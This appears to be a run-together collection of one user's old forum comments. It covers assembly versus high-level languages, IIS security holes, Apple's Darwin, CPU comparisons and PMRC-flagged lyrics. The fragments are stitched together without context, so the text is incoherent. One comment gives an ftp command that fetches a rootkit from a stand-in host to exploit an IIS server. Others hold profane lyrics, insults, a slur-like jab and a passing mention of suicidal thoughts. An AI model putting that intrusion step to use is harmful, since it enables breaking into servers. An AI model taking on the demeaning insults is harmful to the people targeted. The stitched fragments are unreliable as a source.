Why burn cycles when you can use the time to do something productive with them. There's always a few things that could be done in those extra cycles....
>So you can write a driver in a HLL huh? umm yes.
Erm, let me rephrase the question...
So you can write a driver in a HLL without relying on libraries or LowLevel calls? (think about it..also asm directives don't count)
>So you can code a routine to a certain byte size in a HLL? if you have to
Maybe, but you've still got section padding which still adds bytes...
>So you can code a routine to execute in a certain number of cycles in a HLL? can you in asm? think about it.
Actually yes. every instruction has a cycle count, and any out of order execution or pipelining can be countered using simple optimizing trix.
>Is it pointless to squeeze the last bit of performance from a routine?
You didn't answer the question....
>i think you are asking the wrong questions. i think you should be asking:

Do I have any idea? plenty. I am a regular contributor to a rather large open-source project (xmame/xmess) so that probably gives me an idea or two;)
Should I kill myself? Wrong question, because I am on a course of antidepressants at the moment to stop me from thinking about exactly that.
hmm, the trouble is that most IIS holes allow execution of _any_ executable on the server (though most of the time, you need to know the exact location of these files)
All an intruder would need to do in most cases (MSCE's usually leave things as default because m$ knows best;) is "ftp ftp.leet-rewtk1tz.cz/wherever-the-damn-thing-is/ro otkit4kiddiez.exe", exploit the hole again running the rootkit this time...w00tw00t! you're in
Apparently the technology uses a similar technique to the winCIH virus, chopping up the update code into smaller parts and inserting them into empty/unused areas on the smartcard's PROM.
The main problem that Darwin faces is that at a corporate level, Apple treats it in the most opportunistic way possible. Any time Steve Jobs wants to ride on the open source wave, he pulls out his presentation slide that says "Linux-like," and that makes a big impression. It did, anyway, as long as there was no Mac OS Public Beta for the masses to swoon over.

There's not enough space inthis little box for a diatribe, so here's a few links for x86 assembly language programming:-
www.hugi.de Windows based (linux ver on its way) assembly diskmag with plenty of articles on the advantages and disadvantages of ASM vs HLL
www.x86.org loads of info about x86 programming
www.cfxweb.net Loads of articles on assembly programming and HLL too.
Hope that clears a few things up *g*

Next....
So you can write a driver in a HLL huh?
So you can code a routine to a certain byte size in a HLL?
So you can code a routine to execute in a certain number of cycles in a HLL?
Is it pointless to squeeze the last bit of performance from a routine?
Need I go on?

Of course, a rating of Redundant basically means 'we know' :)
The 'bots must think that the giver is cool....
There are some details here.

I'm starting up a posse,
to come and look for you.
we're gonna put a stop
to what you're trying to do.
You fucking whores
(you fucking whores)
That all you are
the words are actually as follows:
shit
fuck
satan
death
sex
drugs
rape
stupid, i know, but it's a PMRC thing. ah well....

Well, they were there like 3 1/2 hours ago. they probably pulled them after seeing the comparisons made here.
After all Slashdot posted two cpu stories one after the other. maybe someone took exception.
erm, battlestar galactica first aired in 1978 actually. check the FAQ bozo.
I already posted in the AMD thread, so I won't reiterate it here, but it explains the problems with both INTEL and AMD. Here's a link to that post
I just found some more comparisons here
As you can see, it's pretty damning evidence.
Get stuffed, yer arse bandeet!
